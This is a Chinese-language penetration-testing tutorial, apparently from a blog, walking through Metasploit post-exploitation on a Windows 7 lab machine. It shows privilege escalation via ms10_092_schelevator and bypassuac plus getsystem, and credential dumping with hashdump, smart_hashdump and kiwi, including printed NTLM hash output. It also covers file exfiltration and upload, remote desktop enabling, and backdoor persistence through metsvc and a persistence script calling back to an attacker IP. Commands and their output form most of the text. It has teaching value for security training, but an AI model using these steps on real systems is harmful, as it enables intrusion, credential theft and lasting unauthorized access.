权限提升(privilege escalation) :
攻击者通过安全漏洞把获取到的受限制的低权限用户突破限制,提权至高权限的管理员用户,从而获得对整个系统得控制权。Windows,Linux等等。
#提权的前提条件:
- 拥有普通用户权限
- 拥有某些软件的账号密码
-本地或远程服务器上存在漏洞
- 拥有漏洞利用工具代码
Windows—>user[普通用户、如:zhangsan]—>Administrator[管理员用户]—>SYSTEM[系统用户、不可登录]
Linux—>user[普通用户、如:kali-lisi]—>root[超级用户]
在前面我们已经讲过如何获取一个普通的权限,这里我们以windows为例,因为我们在前面已经发送了木马后门在我们win7靶机上,所以这里我们直接使用以前的,不再麻烦重新生成了。
post/multi/recon/local_exploit_suggester
#检测漏洞时,需要注意meterpreter位数,如64位系统使用32位meterpreter,可能检测失败
我们使用background返回msf终端,输入use post/multi/recon/local exploit suggester来帮助我们检测不表操作系统上面可能存在那些内核漏洞。输入options查看需要我们配置哪些选项,发现只需要我们配置session即可,也就是说我们要给它一个普通用户的会话让他去检测,我这里是set sessions 2,大家根据自己的sessions进行配置。
我这里暂时只有一个攻击模块,我们就使用这个,如果大家是有多个攻击模块被检测出来就i选择一个自己看着舒服的就行,use exploit/windows/local/ms10_092_schelevator,还有就是我们检测出来的漏洞后面一般都会有The target appears......,表示只是可能存在漏洞,也有可能不存在,我们只能作为一个参考。
注意:这里我没有set payload,我们看到默认的payload是windows/meterpreter/reverse_tcp,而我们攻击的机器是64位机器,这里实际上应该set一下payload,use windows/x64/meterpreter/reverse_tcp,我没有设置这里是成功了,但是我们看我获取到的meterpreter却是一个x86的机器,所以最好还是设置一下防止运行失败。
虽然我们成功使用了这个漏洞,但是这些漏洞可能被打了补丁,这些补丁有可能是通过自己系统更新,即使你把windows自动更新去掉了,这些漏洞也会通过360等的补丁,漏洞检测进行自动的修复,所以这种提权的方式在实际应用中是比较少见的。
用户帐户控制(User Account Control,简写作UAC)是微软公司在其Windows Vista及更高版本操作系统中采用的一种控制机制。其原理是通知用户是否对应用程序使用硬盘驱动器和系统文件授权,以达到帮助阻止恶意程序(有时也称为“恶意软件”)损坏系统的效果。
在日常我们登录的用户都是默认属于管理员组的,查看net user:
如果电脑开启了UAC,以管理员身份运行就会弹出一个弹窗,我们可以在控制面版中关闭这样一个功能:
下面我们就来查看如何绕过UAC,绕过UAC的方法,你肯定不知道使用哪个模块,我们还是使用老方法search bypassuac:
我们就使用普通的bypassuac,ues exploit/windows/local/bypassuac,查看配置:
设置好session,再看一下我们的机器是X64,而这个模块默认的payload却是windows/meterpreter/reverse_tcp,我们需要在payload中加上架构:
运行
我们使用getuid查看用户,发现依旧是普通用户,这是因为我们还需要一步操作,叫做命名管道去打开一个meterpreter:我们可以使用getsystem提权命令进行提权,之后再次擦看getuid发现用户已经成为SYSTEM用户。没有使用bypassuac这种方法而使用我们上面的第一种方法获取的普通用户是无法使用getsystem来进行提权的。
这里呢就是一个bypassuac的利用,我们在真实情况下也是用的比较多的,包括我们的win10也可以利用它进行一个提权。
#开启命令行
meterpreter>shell
#windows
##chcp解决中文乱码
chcp 65001
CHCP是一个计算机指令,能够显示或设置活动代码页编号。
65001 UTF-8代码页
950繁体中文
936简体中文默认的GBK
437 MS-DOS美国英语
#linux
##开启交互式shell
python -c "import pty;pty.spawn('/bin/bash')"
#读取文件
meterpreter > cat "C:\Users\zhangsan\Downloads\001.txt"#上传文件
meterpreter > upload /home/kali/text_files/C++/001 C:\\Users\\zhangsan\\Downloads\\
[*] uploading : /home/kali/text_files/C++/001 -> C:\Users\zhangsan\Downloads\
[*] uploaded : /home/kali/text_files/C++/001 -> C:\Users\zhangsan\Downloads\\001#下载文件
meterpreter > download "C:\Users\zhangsan\Downloads\001.txt"
[*] Downloading: C:\Users\zhangsan\Downloads\001.txt -> /home/kali/001.txt
[*] Downloaded 8.00 B of 8.00 B (100.0%): C:\Users\zhangsan\Downloads\001.txt -> /home/kali/001.txt
[*] download : C:\Users\zhangsan\Downloads\001.txt -> /home/kali/001.txt#删除文件
meterpreter > rm "C:\\Users\\zhangsan\\Downloads\\001.txt"
#开启远程服务
meterpreter > run getgui -e
然后启用远程桌面连接使用自己创建的用户即可。
#密码凭证获取(获取哈希值,经过加密后的密码)
1.直接使用hashdump命令
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
lisi:1002:aad3b435b51404eeaad3b435b51404ee:579110c49145015c47ecd267657d3174:::
zhangsan:1001:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
2.使用msf模块,使用此模块不仅会获得哈希值,而且可以获得当前用户的明文密码
meterpreter > run post/windows/gather/smart_hashdump
[!] SESSION may not be compatible with this module:
[!] * missing Meterpreter features: stdapi_sys_process_set_term_size
[*] Running module against WIN-RRI9T9SN85D
[*] Hashes will be saved to the database if one is connected.
[+] Hashes will be saved in loot in JtR password file format to:
[*] /root/.msf4/loot/20220212071857_default_192.168.164.132_windows.hashes_234671.txt
[*] Dumping password hashes...
[*] Running as SYSTEM extracting hashes from registry
[*] Obtaining the boot key...
[*] Calculating the hboot key using SYSKEY 215da04edceefd0487fc4a43a9e51aab...
[*] Obtaining the user list and keys...
[*] Decrypting user keys...
[*] Dumping password hints...
[*] No users with password hints on this system
[*] Dumping password hashes...
[+] Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[+] zhangsan:1001:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[+] lisi:1002:aad3b435b51404eeaad3b435b51404ee:579110c49145015c47ecd267657d3174:::
当然你也可以使用load kiwi,creds all来获取明文密码,但是成功几率比较低。就像我这里靶机刚创建的用户lisi都没有检测出来。哈希值的方法是最可靠的在这几种方法中。
解密网站:
#进程迁移
#查看进程meterpreter > ps
#进程迁移migrate (迁移到相同权限下)
meterpreter > migrate PID
运行run metsvc
将会在目标主机上以Meterpreter的服务的形式注册在服务列表中,并开机自动自动;
运行run metsvc -r
卸载目标主机上的Meterpreter服务;
#开启服务meterpreter > run metsvo
#开启监听,等待连接handler -H 192.168.123.160 -P 31337 -p windows/metsvc_bind_tcp
##卸载服务meterpreter > run metsvc -r
通过启动项启动,也是Meterpreter下的一个脚本;
移除后门:删除注册表中的值和上传的VBScript文件,具体位置执行脚本后有提示。
参数
-A 自动启动匹配的exploit/multi/处理程序,
-L 在目标主机中写入有效负载的位置,如果没有&TEMP%将被使用。
-P 要使用的有效负载,默认是windows/meterpreter/reverse_tcp。
-S 在启动时自动将代理作为服务启动(具有SYSTEM特权)
-T 可选择使用的可执行模板
-U 在User登录时自动启动(推荐使用)
-X 系统启动时自动启动代理
-h 帮助菜单
-i 每次连接尝试之间的间隔,以秒为单位运行
-p Metasploit的系统正在监听的端口运行
-r Metasploit监听回连接的系统的IP
使用run persistence -U -i 10 -p 8888 -r 192.168.164.130命令运行我们的persistence自启动项
很明显的看到,在我重启靶机的时候,所有会话都Died,断掉了,但是我们之后打开监听,又会自动建立起和靶机的会话,说明我们persistence自启动项运行成功了。